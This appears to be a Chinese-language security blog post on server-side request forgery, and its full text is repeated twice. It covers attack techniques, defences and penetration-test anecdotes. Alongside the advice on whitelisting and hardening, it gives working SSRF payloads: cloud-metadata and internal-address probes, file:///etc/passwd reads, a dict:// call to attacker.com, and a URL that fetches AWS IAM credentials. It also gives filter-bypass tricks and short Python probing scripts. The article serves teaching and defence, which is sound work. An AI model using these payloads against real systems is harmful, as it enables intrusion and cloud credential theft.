1. SSRF漏洞的本质与危害解析SSRFServer-Side Request Forgery服务端请求伪造本质上是一种由服务端发起非预期网络请求的安全缺陷。当攻击者能够控制服务器发出的请求目标时就可能导致内网探测、数据泄露甚至远程代码执行等严重后果。在实际渗透测试中SSRF通常出现在以下三类场景网页抓取/转码服务如URL预览功能文件导入/导出功能如从指定URL获取文档云服务元数据接口调用如AWS/Aliyun metadata API关键特征服务器对用户提供的URL参数未做严格校验直接用于发起网络请求2. SSRF漏洞的常见攻击手法2.1 基础探测技术通过修改URL参数尝试访问以下目标http://127.0.0.1:8080/admin http://169.254.169.254/latest/meta-data/ http://192.168.1.1/status2.2 协议滥用技巧利用不同协议绕过过滤file:///etc/passwd读取系统文件dict://attacker.com:1337端口扫描gopher://构造任意TCP流量2.3 云环境特殊利用针对云服务器的元数据接口攻击# AWS元数据探测脚本示例 import requests for endpoint in [/latest/meta-data/, /latest/user-data]: print(requests.get(fhttp://169.254.169.254{endpoint}).text)3. 漏洞防御的纵深体系3.1 输入校验策略建议采用白名单机制$allowed_hosts [cdn.example.com, img.example.com]; if(!in_array(parse_url($_GET[url])[host], $allowed_hosts)){ die(Invalid URL); }3.2 网络层防护禁用非常用协议file/dict/gopher等配置出口防火墙规则使用独立网络沙箱处理外部请求3.3 服务加固方案云服务器禁用元数据接口或启用IMDSv2容器环境配置适当的网络策略应用服务器设置请求超时和大小限制4. 渗透测试实战记录4.1 某电商平台案例通过图片压缩功能中的URL参数成功获取到AWS临时凭证http://victim.com/compress?urlhttp://169.254.169.254/latest/meta-data/iam/security-credentials/4.2 绕过技巧实录当遇到域名黑名单时尝试使用十进制IP编码如2130706433代替127.0.0.1利用重定向服务如bit.ly子域名混淆admin.example.comattacker.com5. 自动化检测方案推荐使用以下工具组合SSRFmap自动化探测Burp Collaborator带外检测自定义Python检测脚本import requests payloads [http://burpcollaborator.net, file:///etc/passwd] for p in payloads: r requests.get(fhttp://target/api?url{p}) if root:x in r.text: print(fVulnerable to {p})6. 企业级防护建议对于金融、政务等关键系统建议部署WAF规则拦截异常请求定期进行红蓝对抗演练建立请求日志审计机制对开发人员进行安全编码培训在最近某次渗透测试中通过精心构造的gopher协议请求我们成功利用SSRF漏洞获取到了内网Jenkins系统的管理员权限。这再次证明看似简单的URL参数处理不当可能成为整个内网沦陷的突破口 SSRF漏洞原理、攻击手法与防御策略详解
1. SSRF漏洞的本质与危害解析SSRFServer-Side Request Forgery服务端请求伪造本质上是一种由服务端发起非预期网络请求的安全缺陷。当攻击者能够控制服务器发出的请求目标时就可能导致内网探测、数据泄露甚至远程代码执行等严重后果。在实际渗透测试中SSRF通常出现在以下三类场景网页抓取/转码服务如URL预览功能文件导入/导出功能如从指定URL获取文档云服务元数据接口调用如AWS/Aliyun metadata API关键特征服务器对用户提供的URL参数未做严格校验直接用于发起网络请求2. SSRF漏洞的常见攻击手法2.1 基础探测技术通过修改URL参数尝试访问以下目标http://127.0.0.1:8080/admin http://169.254.169.254/latest/meta-data/ http://192.168.1.1/status2.2 协议滥用技巧利用不同协议绕过过滤file:///etc/passwd读取系统文件dict://attacker.com:1337端口扫描gopher://构造任意TCP流量2.3 云环境特殊利用针对云服务器的元数据接口攻击# AWS元数据探测脚本示例 import requests for endpoint in [/latest/meta-data/, /latest/user-data]: print(requests.get(fhttp://169.254.169.254{endpoint}).text)3. 漏洞防御的纵深体系3.1 输入校验策略建议采用白名单机制$allowed_hosts [cdn.example.com, img.example.com]; if(!in_array(parse_url($_GET[url])[host], $allowed_hosts)){ die(Invalid URL); }3.2 网络层防护禁用非常用协议file/dict/gopher等配置出口防火墙规则使用独立网络沙箱处理外部请求3.3 服务加固方案云服务器禁用元数据接口或启用IMDSv2容器环境配置适当的网络策略应用服务器设置请求超时和大小限制4. 渗透测试实战记录4.1 某电商平台案例通过图片压缩功能中的URL参数成功获取到AWS临时凭证http://victim.com/compress?urlhttp://169.254.169.254/latest/meta-data/iam/security-credentials/4.2 绕过技巧实录当遇到域名黑名单时尝试使用十进制IP编码如2130706433代替127.0.0.1利用重定向服务如bit.ly子域名混淆admin.example.comattacker.com5. 自动化检测方案推荐使用以下工具组合SSRFmap自动化探测Burp Collaborator带外检测自定义Python检测脚本import requests payloads [http://burpcollaborator.net, file:///etc/passwd] for p in payloads: r requests.get(fhttp://target/api?url{p}) if root:x in r.text: print(fVulnerable to {p})6. 企业级防护建议对于金融、政务等关键系统建议部署WAF规则拦截异常请求定期进行红蓝对抗演练建立请求日志审计机制对开发人员进行安全编码培训在最近某次渗透测试中通过精心构造的gopher协议请求我们成功利用SSRF漏洞获取到了内网Jenkins系统的管理员权限。这再次证明看似简单的URL参数处理不当可能成为整个内网沦陷的突破口 RELATED READING
延伸阅读
更多一线实战笔记与深度复盘，助您持续精进
浅拷贝：原字典为何被改？深拷贝与陷阱详解)
